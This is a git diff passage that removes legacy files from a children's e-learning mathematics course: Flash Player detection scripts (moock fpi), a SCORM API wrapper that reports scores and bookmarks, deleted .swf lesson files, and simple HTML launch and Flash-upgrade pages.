-			} else if (Number(version) >= linuxMozillaVer) {
-				window.location.replace(compatiblePage);
-				parent.bottomFrame.location.replace(flashDetectionPage);
-			} else {
-				window.location.replace(notCompatiblePage);
-				//window.location = compatiblePage;
-			}	
-		} else {
-			window.location.replace(notCompatiblePage);
-			//window.location = compatiblePage;
-		}
-	} else {
-		window.location.replace(notCompatiblePage);
-		//window.location = notCompatiblePage;
-	}
-}
-getAgtInfo();
diff --git a/Explore/elr/Mathematics/M0701/js/fpi-init.js b/Explore/elr/Mathematics/M0701/js/fpi-init.js
deleted file mode 100755
index ecd135e..0000000
--- a/Explore/elr/Mathematics/M0701/js/fpi-init.js
+++ /dev/null
@@ -1,46 +0,0 @@
-// moock fpi [f.lash p.layer i.nspector]
-// version: 1.3.7
-// written by colin moock
-// code maintained at: http://www.moock.org/webdesign/flash/detection/moockfpi/
-// terms of use posted at: http://www.moock.org/terms/
-
-
-
-// =============================================================================
-// These are the user defined globals.
-// Modify the following variables to customize the inspection behaviour.
-
-var requiredVersion = 7;   // Version the user needs to view site (max 9, min 2)
-var useRedirect = true;    // Flag indicating whether or not to load a separate
-                           // page based on detection results. Set to true to
-                           // load a separate page. Set to false to embed the
-                           // movie or alternate html directly into this page.
-                           
-// Only set next three vars if useRedirect is true...
-var flashPage   = "../html/fpi_flash.html"    // The location of the flash movie page
-var noFlashPage = "../html/fpi_no_flash.html"  // Page displayed if the user doesn't have the
-                                  // plugin or we can't detect it.
-var upgradePage = "../html/fpi_upgrade_flash.html"  // Page displayed if we detect an old plugin
-var blankPage = "../html/fpi_blank.html"
-// =============================================================================
-
-
-
-// *************
-// Everything below this point is internal until after the BODY tag.
-// Do not modify! Proceed to the BODY tag for further instructions.
-// *************
-
-// System globals
-var flash2Installed = false;    // boolean. true if flash 2 is installed
-var flash3Installed = false;    // boolean. true if flash 3 is installed
-var flash4Installed = false;    // boolean. true if flash 4 is installed
-var flash5Installed = false;    // boolean. true if flash 5 is installed
-var flash6Installed = false;    // boolean. true if flash 6 is installed
-var flash7Installed = false;    // boolean. true if flash 7 is installed
-var flash8Installed = false;    // boolean. true if flash 8 is installed
-var flash9Installed = false;    // boolean. true if flash 9 is installed
-var maxVersion = 9;             // highest version we can actually detect
-var actualVersion = 0;          // version the user really has
-var hasRightVersion = false;    // boolean. true if it's safe to embed the flash movie in the page
-var jsVersion = 1.0;            // the version of javascript supported
-\ No newline at end of file
diff --git a/Explore/elr/Mathematics/M0701/js/fpi-main.js b/Explore/elr/Mathematics/M0701/js/fpi-main.js
deleted file mode 100755
index 2926268..0000000
--- a/Explore/elr/Mathematics/M0701/js/fpi-main.js
+++ /dev/null
@@ -1,101 +0,0 @@
-// Next comes the standard javascript detection that uses the 
-// navigator.plugins array. We pack the detector into a function so that 
-// it preloads before being run.
-
-function detectFlash() {  
-  // If navigator.plugins exists...
-  if (navigator.plugins) {
-    // ...then check for flash 2 or flash 3+.
-    if (navigator.plugins["Shockwave Flash 2.0"]
-        || navigator.plugins["Shockwave Flash"]) {
-
-      // Some version of Flash was found. Time to figure out which.
-      
-      // Set convenient references to flash 2 and the plugin description.
-      var isVersion2 = navigator.plugins["Shockwave Flash 2.0"] ? " 2.0" : "";
-      var flashDescription = navigator.plugins["Shockwave Flash" + isVersion2].description;
-
-      // DEBUGGING: uncomment next line to see the actual description.
-      // alert("Flash plugin description: " + flashDescription);
-      
-      // A flash plugin-description looks like this: Shockwave Flash 4.0 r5
-      // We can get the major version by grabbing the character before the period
-      // note that we don't bother with minor version detection. 
-      // Do that in your movie with $version or getVersion().
-      var flashVersion = parseInt(flashDescription.substring(16));
-
-      // We found the version, now set appropriate version flags. Make sure
-      // to use >= on the highest version so we don't prevent future version
-      // users from entering the site.
-      flash2Installed = flashVersion == 2;    
-      flash3Installed = flashVersion == 3;
-      flash4Installed = flashVersion == 4;
-      flash5Installed = flashVersion == 5;
-      flash6Installed = flashVersion == 6;
-      flash7Installed = flashVersion == 7;
-      flash8Installed = flashVersion == 8;
-      flash9Installed = flashVersion >= 9;
-    }
-  }
-  
-  // Loop through all versions we're checking, and
-  // set actualVersion to highest detected version.
-  for (var i = 2; i <= maxVersion; i++) {  
-    if (eval("flash" + i + "Installed") == true) actualVersion = i;
-  }
-  
-  // If we're on msntv (formerly webtv), the version supported is 4 (as of
-  // January 1, 2004). Note that we don't bother sniffing varieties
-  // of msntv. You could if you were sadistic...
-  if(navigator.userAgent.indexOf("WebTV") != -1) actualVersion = 4;  
-  
-  // DEBUGGING: uncomment next line to display flash version
-  // alert("version detected: " + actualVersion);
-
-
-  // We're finished getting the version on all browsers that support detection.
-  // Time to take the appropriate action.
-
-  // If the user has a new enough version...
-  if (actualVersion >= requiredVersion) {
-    // ...then we'll redirect them to the flash page, unless we've
-    // been told not to redirect.
-    if (useRedirect) {
-      // Need javascript1.1 to do location.replace
-      if(jsVersion > 1.0) {
-        // It's safe to use replace(). Good...we won't break the back button.
-        window.location.replace(flashPage);  
-      } else {
-        // JavaScript version is too old, so use .location to load
-        // the flash page.
-        window.location = flashPage;
-      }
-    }
-    
-    // If we got here, we didn't redirect. So we make a note that we should
-    // write out the object/embed tags later.
-    hasRightVersion = true;                
-  } else {  
-    // The user doesn't have a new enough version.
-    // If the redirection option is on, load the appropriate alternate page.
-    if (useRedirect) {
-		//if (confirm("This course requires Macromedia Flash Player 6.\nIt seems like you don't have required flash player installed on your machine.\nWould you like to install Flash Player now?")){
-			//window.open("http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash");
-		//} else {
-			//alert("else part");
-		//}
-      // Do the same .replace() call only if js1.1+ is available.
-      if(jsVersion > 1.0) {
-        //window.location.replace((actualVersion >= 2) ? upgradePage : noFlashPage);
-		 window.location.replace(blankPage);
-		parent.mainFrame.location.replace((actualVersion >= 2) ? upgradePage : noFlashPage);
-      } else {
-        //window.location = (actualVersion >= 2) ? upgradePage : noFlashPage;
-		 window.location = blankPage;
-		parent.mainFrame.location = (actualVersion >= 2) ? upgradePage : noFlashPage;
-      }	 	  
-    }
-  }
-}
-
-detectFlash();  // call our detector now that it's safely loaded. 
-\ No newline at end of file
diff --git a/Explore/elr/Mathematics/M0701/js/fpi-swap.js b/Explore/elr/Mathematics/M0701/js/fpi-swap.js
deleted file mode 100755
index c08f889..0000000
--- a/Explore/elr/Mathematics/M0701/js/fpi-swap.js
+++ /dev/null
@@ -1,33 +0,0 @@
-// In this section we set up the content to be placed dynamically on the page.
-// Customize movie tags and alternate html content below.
-
-if (!useRedirect) {    // if dynamic embedding is turned on
-  if(hasRightVersion) {  // if we've detected an acceptable version
-    var oeTags = '<OBJECT CLASSID="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"'
-    + 'WIDTH="550" HEIGHT="400"'
-    + 'CODEBASE="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">'
-    + '<PARAM NAME="MOVIE" VALUE="movie.swf">'
-    + '<PARAM NAME="PLAY" VALUE="true">'
-    + '<PARAM NAME="LOOP" VALUE="false">'
-    + '<PARAM NAME="QUALITY" VALUE="high">'
-    + '<PARAM NAME="MENU" VALUE="false">'
-    + '<EMBED SRC="movie.swf"'
-    + 'WIDTH="550" HEIGHT="400"'
-    + 'PLAY="true"'
-    + 'LOOP="false"'
-    + 'QUALITY="high"'
-    + 'MENU="false"'
-    + 'TYPE="application/x-shockwave-flash"'
-    + 'PLUGINSPAGE="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash">'
-    + '<\/EMBED>'
-    + '<\/OBJECT>';
-
-    document.write(oeTags);   // embed the flash movie
-  } else {  // flash is too old or we can't detect the plugin
-    // NOTE: height, width are required!
-    var alternateContent = '<IMG SRC="altimage.gif" HEIGHT="400" WIDTH="550">' 
-      + '<BR>any desired alternate html code goes here';
-
-    document.write(alternateContent);  // insert non-flash content
-  }
-}
-\ No newline at end of file
diff --git a/Explore/elr/Mathematics/M0701/js/fpi-writevb.js b/Explore/elr/Mathematics/M0701/js/fpi-writevb.js
deleted file mode 100755
index 2bdd8b3..0000000
--- a/Explore/elr/Mathematics/M0701/js/fpi-writevb.js
+++ /dev/null
@@ -1,23 +0,0 @@
-// Check the browser...we're looking for ie/win, but not aol
-var isIE  = (navigator.appVersion.indexOf("MSIE") != -1) ? true : false;    // true if we're on ie
-var isWin = (navigator.appVersion.toLowerCase().indexOf("win") != -1) ? true : false; // true if we're on windows
-
-
-// This is a js1.1 code block, so make note that js1.1 is supported.
-jsVersion = 1.1;
-
-// Write vbscript detection on ie win. IE on Windows doesn't support regular
-// JavaScript plugins array detection.
-if(isIE && isWin){
-  document.write('<SCR' + 'IPT LANGUAGE=VBScript\> \n');
-  document.write('on error resume next \n');
-  document.write('flash2Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.2"))) \n');
-  document.write('flash3Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.3"))) \n');
-  document.write('flash4Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.4"))) \n');
-  document.write('flash5Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.5"))) \n');  
-  document.write('flash6Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.6"))) \n');  
-  document.write('flash7Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.7"))) \n');
-  document.write('flash8Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.8"))) \n');
-  document.write('flash9Installed = (IsObject(CreateObject("ShockwaveFlash.ShockwaveFlash.9"))) \n');
-  document.write('<\/SCR' + 'IPT\> \n'); // break up end tag so it doesn't end our script
-}
diff --git a/Explore/elr/Mathematics/M0701/js/scorm_api.js b/Explore/elr/Mathematics/M0701/js/scorm_api.js
deleted file mode 100755
index 7d4e2ba..0000000
--- a/Explore/elr/Mathematics/M0701/js/scorm_api.js
+++ /dev/null
@@ -1,276 +0,0 @@
-var findAPITries=1;
-var API = null;
-var	timerID = null
-var	timerRunning = false
-var	startDate
-var	startSecs
-var timeValue
-var lessonStatus=false;
-var Bookmark_location="undefined";
-var SetMasteryScore=80;
-var LMSStatus;
-//-----------------------------------------------------------------------
-function FindAPI(win)
-{
-   while ((win.API == null) && (win.parent != null) && (win.parent != win))
-   {
-      findAPITries++;
-      // Note: 7 is an arbitrary number, but should be more than sufficient
-      if (findAPITries > 7) 
-      {
-        parent.status = "Error finding API -- too deeply nested.";
-         return null;
-      }
-      
-      win = win.parent;
-
-   }
-   return win.API;
-}
-//-----------------------------------------------------------------------
-function GetAPI()
-{
-
-   var API = FindAPI(window);
-   if ((API == null) && (window.opener != null) && (typeof(window.opener) != "undefined"))
-   {
-      API = FindAPI(window.opener);
-   }
-   if (API == null)
-   {
-     parent.status = "Unable to find an API adapter";
-   }
-
-   return API
-}
-//-----------------------------------------------------------------------
-function initSco()
-
-{
-		API = GetAPI();
-		if( API != null )
-		{
-			var ret;
-			var code;
-			var diag;
-			API.LMSInitialize("");
-			startclock();
-			
-			set_val("cmi.core.score.max",100);
-			set_val("cmi.core.score.min",0);
-
-			var status = get_val("cmi.core.lesson_status")
-			if (status == "not attempted")
-			{
-			  // the student is now attempting the lesson
-			  set_val("cmi.core.lesson_status","incomplete");
-			}
-				
-			tempPage=get_val("cmi.core.lesson_location")
-			//alert("tempPage "+tempPage);
-			//alert("lesson_status "+get_val("cmi.core.lesson_status"));
-			var tmp = tempPage.split("^");			
-			//if(tempPage != ""){
-			if(Number(tmp[0])>=0){
-			//alert("tempPage "+tempPage)
-			//tempPage=Number(tempPage)
-				Bookmark_location=tempPage;			
-			}
-			code = API.LMSGetLastError();
-			ret = API.LMSGetErrorString( code );
-			diag = API.LMSGetDiagnostic( "" );	
-		}
-	
-}
-function set_val( gname,gvalue )
-{
-	API = GetAPI();
-	if( API != null )
-	{
-		var ret;
-		var code;
-		var diag;		
-
-		API.LMSSetValue( gname, gvalue );		
-		code = API.LMSGetLastError();
-		ret = API.LMSGetErrorString( code );
-		diag = API.LMSGetDiagnostic( "" );		
-	}
-	
-};
-//-----------------------------------------------------------------------
-function get_val( gname )
-{	
-	API = GetAPI();
-	if( API != null )
-	{
-	
-	var ret1,ret2;
-		var code;
-		var diag;
-				
-		ret1 = API.LMSGetValue( gname );		
-		code = API.LMSGetLastError();
-		ret2 = API.LMSGetErrorString( code );
-		diag = API.LMSGetDiagnostic( "" );
-	//alert ("inside "+gname+ " "+ret1)
-	return ret1;		
-		
-	}
-	
-};
-//-----------------------------------------------------------------------
-function commit()
-{	
-	API = GetAPI();
-	if( API != null )
-	{
-		var ret = "";
-		var code;
-		var diag;
-		
-		API.LMSCommit("");
-		code = API.LMSGetLastError();
-		ret = API.LMSGetErrorString( code );
-		diag = API.LMSGetDiagnostic( "" );		
-	}
-	
-};
-//-----------------------------------------------------------------------
-function finish()
-{
-//if(callUnload == true){	
-	//alert(lessonStatus);
-		API = GetAPI();
-			
-		if( API != null )
-		{
-		
-			var ret;
-			var code;
-			var diag;
-			
-			//alert("parent.next "+parent.nextCount)
-			//alert("Bookmark_location in finish: "+Bookmark_location);
-			set_val("cmi.core.lesson_location",Bookmark_location);
-			//alert(get_val("cmi.core.lesson_location"))
-			sTime=stopclock();
-			sTime=String(sTime)
-			set_val("cmi.core.session_time",sTime);
-			//if(lessonStatus){
-				
-			 //set_val("cmi.core.lesson_status","completed");
-			//}
-			commit();
-			ret = API.LMSFinish("");
-			code = API.LMSGetLastError();
-			ret = API.LMSGetErrorString( code );
-			diag = API.LMSGetDiagnostic( "" );
-
-		}
-//	}
-	
-};
-
-function stopclock()
-{
-
-	if(timerRunning){
-		clearTimeout(timerID)
-		timerRunning = false
-		return timeValue
-}
-}
-//-----------------------------------------------------------------------
-function startclock()
-{
-
-	startDate = new Date()
-	startSecs = (startDate.getHours()*60*60) + (startDate.getMinutes()*60) 
-						+ startDate.getSeconds()
-
-	stopclock()
-		showtime()
-	
-}
-//-----------------------------------------------------------------------
-function showtime()
-{
-	// this doesn't work correctly at midnight...
-
-	var now = new Date()
-	var nowSecs = (now.getHours()*60*60) + (now.getMinutes()*60) + now.getSeconds()
-	var elapsedSecs = nowSecs - startSecs;
-
-	var hours = Math.floor( elapsedSecs / 3600 )
-	elapsedSecs = elapsedSecs - (hours*3600)
-
-	var minutes = 	Math.floor( elapsedSecs / 60 )
-	elapsedSecs = elapsedSecs - (minutes*60)
-
-	var seconds = elapsedSecs
-
-	timeValue = "" + hours
-		if(hours<10){
-		timeValue = "0" + hours
-	}
-	timeValue  += ((minutes < 10) ? ":0" : ":") + minutes
-	timeValue  += ((seconds < 10) ? ":0" : ":") + seconds
-
-		// Update display
-	timerID = setTimeout("showtime()",1000)
-	timerRunning = true
-}
-
-function fnGetBookMark()
-
-{
-
-return Bookmark_location
-
-}
-
-function set_location(setbookmark)
-{
-Bookmark_location=setbookmark;
-set_val("cmi.core.lesson_location",Bookmark_location);
-commit();
-//alert("Bookmark_location: "+Bookmark_location);
-}
-
-function fnSetLastPage(lastpge) {
-
-lessonStatus= lastpge
-
-}
-function sendScore(score) {	
-	//var stat = (score >= SetMasteryScore? "passed" : "failed");
-	var stat = (score >= SetMasteryScore? "completed" : "incomplete");
-	//alert("score:"+score+" status: "+stat);
-	set_val("cmi.core.score.raw", score);
-	//set_val("cmi.student_data.mastery_score",score);
-	set_val("cmi.core.lesson_status", stat);
-	commit();
-	//alert("score: "+score);
-}
-function fnGetData() {
-	//var LMSStatus = get_val("cmi.core.lesson_status");
-	return Bookmark_location;
-}
-function setScore(score, bookmark) {	
-	var stat = (score >= SetMasteryScore? "passed" : "failed");
-	//var stat = (score >= SetMasteryScore? "completed" : "incomplete");
-	//alert("score:"+score+" status: "+stat);
-	set_val("cmi.core.score.raw", score);
-	//set_val("cmi.student_data.mastery_score",score);
-	set_val("cmi.core.lesson_status", stat);
-	Bookmark_location=bookmark;	
-	commit();
-	//alert("score: "+score+" & bookmark: "+bookmark);
-}
-function setCompletion(lStatus, bookmark) {	
-	set_val("cmi.core.lesson_status", lStatus);
-	Bookmark_location=bookmark;	
-	commit();
-	//alert("score: "+score+" & bookmark: "+bookmark);
-}
-\ No newline at end of file
diff --git a/Explore/elr/Mathematics/M0801/courses/l1_t1_01.swf b/Explore/elr/Mathematics/M0801/courses/l1_t1_01.swf
deleted file mode 100755
index b37b42e..0000000
--- a/Explore/elr/Mathematics/M0801/courses/l1_t1_01.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M0801/courses/l1_t1_02.swf b/Explore/elr/Mathematics/M0801/courses/l1_t1_02.swf
deleted file mode 100755
index d12bb5f..0000000
--- a/Explore/elr/Mathematics/M0801/courses/l1_t1_02.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M0801/courses/l1_t1_03.swf b/Explore/elr/Mathematics/M0801/courses/l1_t1_03.swf
deleted file mode 100755
index 8ef9c0c..0000000
--- a/Explore/elr/Mathematics/M0801/courses/l1_t1_03.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M0801/courses/l1_t1_04.swf b/Explore/elr/Mathematics/M0801/courses/l1_t1_04.swf
deleted file mode 100755
index 29aae11..0000000
--- a/Explore/elr/Mathematics/M0801/courses/l1_t1_04.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M0801/courses/l1_t1_05.swf b/Explore/elr/Mathematics/M0801/courses/l1_t1_05.swf
deleted file mode 100755
index e9717c5..0000000
--- a/Explore/elr/Mathematics/M0801/courses/l1_t1_05.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M0801/courses/l1_t1_06.swf b/Explore/elr/Mathematics/M0801/courses/l1_t1_06.swf
deleted file mode 100755
index 4af5efd..0000000
--- a/Explore/elr/Mathematics/M0801/courses/l1_t1_06.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M0801/courses/l1_t1_07.swf b/Explore/elr/Mathematics/M0801/courses/l1_t1_07.swf
deleted file mode 100755
index 57186e2..0000000
--- a/Explore/elr/Mathematics/M0801/courses/l1_t1_07.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M0801/courses/l1_t1_08.swf b/Explore/elr/Mathematics/M0801/courses/l1_t1_08.swf
deleted file mode 100755
index 4bb79ec..0000000
--- a/Explore/elr/Mathematics/M0801/courses/l1_t1_08.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M0801/courses/l1_t2_01.swf b/Explore/elr/Mathematics/M0801/courses/l1_t2_01.swf
deleted file mode 100755
index 5d303a6..0000000
--- a/Explore/elr/Mathematics/M0801/courses/l1_t2_01.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M0801/courses/l1_t2_02.swf b/Explore/elr/Mathematics/M0801/courses/l1_t2_02.swf
deleted file mode 100755
index ce9dae5..0000000
--- a/Explore/elr/Mathematics/M0801/courses/l1_t2_02.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M0801/courses/l1_t2_03.swf b/Explore/elr/Mathematics/M0801/courses/l1_t2_03.swf
deleted file mode 100755
index 127c2b9..0000000
--- a/Explore/elr/Mathematics/M0801/courses/l1_t2_03.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M0801/courses/l1_t2_04.swf b/Explore/elr/Mathematics/M0801/courses/l1_t2_04.swf
deleted file mode 100755
index 90cbf0c..0000000
--- a/Explore/elr/Mathematics/M0801/courses/l1_t2_04.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M0801/courses/l1_t2_05.swf b/Explore/elr/Mathematics/M0801/courses/l1_t2_05.swf
deleted file mode 100755
index 406b01f..0000000
--- a/Explore/elr/Mathematics/M0801/courses/l1_t2_05.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M0801/courses/l1_t2_06.swf b/Explore/elr/Mathematics/M0801/courses/l1_t2_06.swf
deleted file mode 100755
index 6d33f8c..0000000
--- a/Explore/elr/Mathematics/M0801/courses/l1_t2_06.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M0801/courses/l1_t2_07.swf b/Explore/elr/Mathematics/M0801/courses/l1_t2_07.swf
deleted file mode 100755
index 91926b8..0000000
--- a/Explore/elr/Mathematics/M0801/courses/l1_t2_07.swf
+++ /dev/null
diff --git a/Explore/elr/Mathematics/M0801/html/fpi_blank.html b/Explore/elr/Mathematics/M0801/html/fpi_blank.html
deleted file mode 100755
index def01f9..0000000
--- a/Explore/elr/Mathematics/M0801/html/fpi_blank.html
+++ /dev/null
@@ -1,12 +0,0 @@
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
-
-<HTML>
-<HEAD><TITLE>ELearning For Kids</TITLE>
-</HEAD>
-
-<BODY BGCOLOR="#FFFFFF">
-
-
-</BODY>
-</HTML>
-\ No newline at end of file
diff --git a/Explore/elr/Mathematics/M0801/html/fpi_detection.html b/Explore/elr/Mathematics/M0801/html/fpi_detection.html
deleted file mode 100755
index 1484dba..0000000
--- a/Explore/elr/Mathematics/M0801/html/fpi_detection.html
+++ /dev/null
@@ -1,57 +0,0 @@
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
-
-<HTML>
-<HEAD><TITLE>moock flash player inspector :: v1.3.6 (js)</TITLE>
-
-<!-- Prevent caching in netscape. 
-     Very important cause netscape tends to mangle cached code -->
-<META HTTP-EQUIV="expires" CONTENT="0">
-<META HTTP-EQUIV="Pragma" CONTENT="no-cache">
-
-<!-- import the fpi logic from external javascript files -->
-<SCRIPT LANGUAGE="JavaScript" type="text/javascript" src="../js/fpi-init.js"></SCRIPT>
-<SCRIPT LANGUAGE="JavaScript" type="text/javascript" src="../js/fpi-writevb.js"></SCRIPT>
-<SCRIPT LANGUAGE="JavaScript" type="text/javascript" src="../js/fpi-main.js"></SCRIPT>
-
-</HEAD>
-
-<BODY BGCOLOR="#FFFFFF">
-
-<!--############################################################
-  IF YOU'RE USING PAGE REDIRECTION, FOLLOW THESE INSTRUCTIONS
-  1) Put some content here to tell the user what's going on
-     while they wait. something like: 
-  "Detecting Macromedia Flash, please wait..."
-
-  2) Delete everything below this point up to 
-  the NOSCRIPT start tag: <NOSCRIPT>
-  ############################################################-->
-
-<center>
-  <font size="2" face="Verdana, Arial, Helvetica, sans-serif">Detecting Macromedia Flash 
-  Player, please wait...</font>
-</center>
-<SCRIPT LANGUAGE="JavaScript" type="text/javascript" src="fpi-swap.js"></SCRIPT>
-
-<NOSCRIPT>
-<!--############################################################################
-  HERE WE PROVIDE ALTERNATE CONTENT FOR NON-SCRIPT-SUPPORTING BROWSERS
-  OR BROWSERS THAT HAVE THEIR SCRIPTING TURNED OFF...
-  ############################################################################
-
-  IF YOU ARE USING PAGE REDIRECT, A META REFRESH GOES HERE. DELETE EVERYTHING
-  BETWEEN THE NOSCRIPT TAGS EXCEPT THE FOLLOWING META TAG:
-  <META HTTP-EQUIV="Refresh" CONTENT="10;URL=noflash.html"> 
-  
-  IF YOU ARE USING CONTENT SWAPPING, THE VALUE OF THE alternateContent VARIABLE
-  SHOULD BE REPEATED HERE. DELETE EVERYTHING BETWEEN THE NOSCRIPT TAGS
-  EXCEPT YOUR alternateContent HTML. FOR EXAMPLE:
-  <IMG SRC="altimage.gif" HEIGHT="400" WIDTH="550">
-  
-  -->
-</NOSCRIPT>
-
-
-</BODY>
-</HTML>
-\ No newline at end of file
diff --git a/Explore/elr/Mathematics/M0801/html/fpi_flash.html b/Explore/elr/Mathematics/M0801/html/fpi_flash.html
deleted file mode 100755
index 53fe5d4..0000000
--- a/Explore/elr/Mathematics/M0801/html/fpi_flash.html
+++ /dev/null
@@ -1,15 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
-
-<html>
-<head>
-	<title>ELearning For Kids</title>
-</head>
-
-<body BGCOLOR="#FFFFFF">
-<center>
-  <font size="2" face="Verdana, Arial, Helvetica, sans-serif">You have required 
-  Flash Player installed on your machine.<br>
-  Please click above link to launch the course. </font> 
-</center>
-</body>
-</html>
diff --git a/Explore/elr/Mathematics/M0801/html/fpi_no_flash.html b/Explore/elr/Mathematics/M0801/html/fpi_no_flash.html
deleted file mode 100755
index 51143cb..0000000
--- a/Explore/elr/Mathematics/M0801/html/fpi_no_flash.html
+++ /dev/null
@@ -1,40 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>ELearning For Kids</title>
-<script language="javascript">
- </script>
- <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></head>
-<body background="../images/bg_03.jpg">
-<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" height="255" border="0">
-        <tr>
-          <td width="3%">&nbsp;</td>
-          <td width="69%" valign="top"> 
-            <div align="center">
-              <p><img src="../images/efk_logo.png" width="318.3" height="107." border="0" align="middle" usemap="#Map" > 
-              </p>
-              <p><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Click 
-                the above image to launch the course.<br>
-                This course requires Macromedia Flash Player 7. It seems like 
-                you don't have flash player installed on your machine. Please 
-                click <a href="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" target="_blank">here</a> 
-                to install latest flash player.</font> 
-                <map name="Map">
-                  <area shape="rect" coords="-3,1,619,156" href="#" onClick="parent.fnpopup()">
-                </map>
-              </p>
-              </div></td>
-          <td width="3%"><p>&nbsp;</p>
-            <p>&nbsp;</p></td>
-        </tr>
-      </table>
-      
-      <p>&nbsp; </p></td>
-  </tr>
-</table>
-
-</body>
-
-</html>
diff --git a/Explore/elr/Mathematics/M0801/html/fpi_upgrade_flash.html b/Explore/elr/Mathematics/M0801/html/fpi_upgrade_flash.html
deleted file mode 100755
index cddd4a3..0000000
--- a/Explore/elr/Mathematics/M0801/html/fpi_upgrade_flash.html
+++ /dev/null
@@ -1,40 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>ELearning For Kids</title>
-<script language="javascript">
- </script>
- <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"></head>
-<body background="../images/bg_03.jpg">
-<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" height="255" border="0">
-        <tr>
-          <td width="3%">&nbsp;</td>
-          <td width="69%" valign="top"> 
-            <div align="center">
-              <p><img src="../images/efk_logo.png" width="250" height="85" border="0" align="middle" usemap="#Map" > 
-              </p>
-              <p><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Click 
-                the above image to launch the course.<br>
-                This course requires Macromedia Flash Player 7. It seems like 
-                you don't have required flash player installed on your machine. 
-                Please click <a href="http://www.macromedia.com/shockwave/download/index.cgi?P1_Prod_Version=ShockwaveFlash" target="_blank">here</a> 
-                to upgrade flash player. </font> 
-                <map name="Map">
-                  <area shape="rect" coords="-327,-67,480,134" href="#" onClick="parent.fnpopup()">
-                </map>
-              </p>
-              </div></td>
-          <td width="3%"><p>&nbsp;</p>
-            <p>&nbsp;</p></td>
-        </tr>
-      </table>
-      
-      <p>&nbsp; </p></td>
-  </tr>
-</table>
-
-</body>
-
-</html>
diff --git a/Explore/elr/Mathematics/M0801/html/launch.html b/Explore/elr/Mathematics/M0801/html/launch.html
deleted file mode 100755
index 5972c48..0000000
--- a/Explore/elr/Mathematics/M0801/html/launch.html
+++ /dev/null
@@ -1,36 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
-<title>EFK ::</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-</head>
-<body background="../images/bg_03.jpg">
-<table width="100%" height="100%" border="0" cellpadding="0" cellspacing="0">
-  <tr>
-    <td align="center" valign="middle"><table width="100%" height="255" border="0">
-        <tr>
-          <td width="3%">&nbsp;</td>
-          <td width="90%" valign="top"> 
-            <div align="center">
-              <p><img src="../images/efk_logo.png" width="318" height="107" border="0" align="center" usemap="#Map" > 
-              </p>
-              <p><font size="2" face="Verdana, Arial, Helvetica, sans-serif">Click 
-                the above image to launch the course.<br>
-                It is essential to keep this window open till the entire course 
-                runs.<br>Turn on your speakers and keep the volume high as you enter this course.</font> 
-                <map name="Map">
-                  <area shape="rect" coords="-181,-78,621,124" href="#" onClick="parent.fnpopup()">
-                </map>
-              </p>
-              </div></td>
-          <td width="3%"><p>&nbsp;</p>
-            <p>&nbsp;</p></td>
-        </tr>
-      </table>
-      
-      <p>&nbsp; </p></td>
-  </tr>
-</table>
-
-</body>
-</html>
diff --git a/Explore/elr/Mathematics/M0801/html/os_browser_detection.html b/Explore/elr/Mathematics/M0801/html/os_browser_detection.html
deleted file mode 100755
index bae128e..0000000
--- a/Explore/elr/Mathematics/M0801/html/os_browser_detection.html
+++ /dev/null
@@ -1,12 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Frameset//EN" "http://www.w3.org/TR/html4/frameset.dtd">
-<html>
-<head>
-<title>ELearning For Kids</title>
-<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
-<script language="javascript" src="../js/browser-detection.js"></script>
-<script>
- </script>
-</head>
-<body>
-</body>
-</html>
diff --git a/Explore/elr/Mathematics/M0801/html/os_not_compatible_page.html b/Explore/elr/Mathematics/M0801/html/os_not_compatible_page.html
deleted file mode 100755
index 9bd6543..0000000
--- a/Explore/elr/Mathematics/M0801/html/os_not_compatible_page.html
+++ /dev/null
@@ -1,39 +0,0 @@
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
-<html>
-<head>
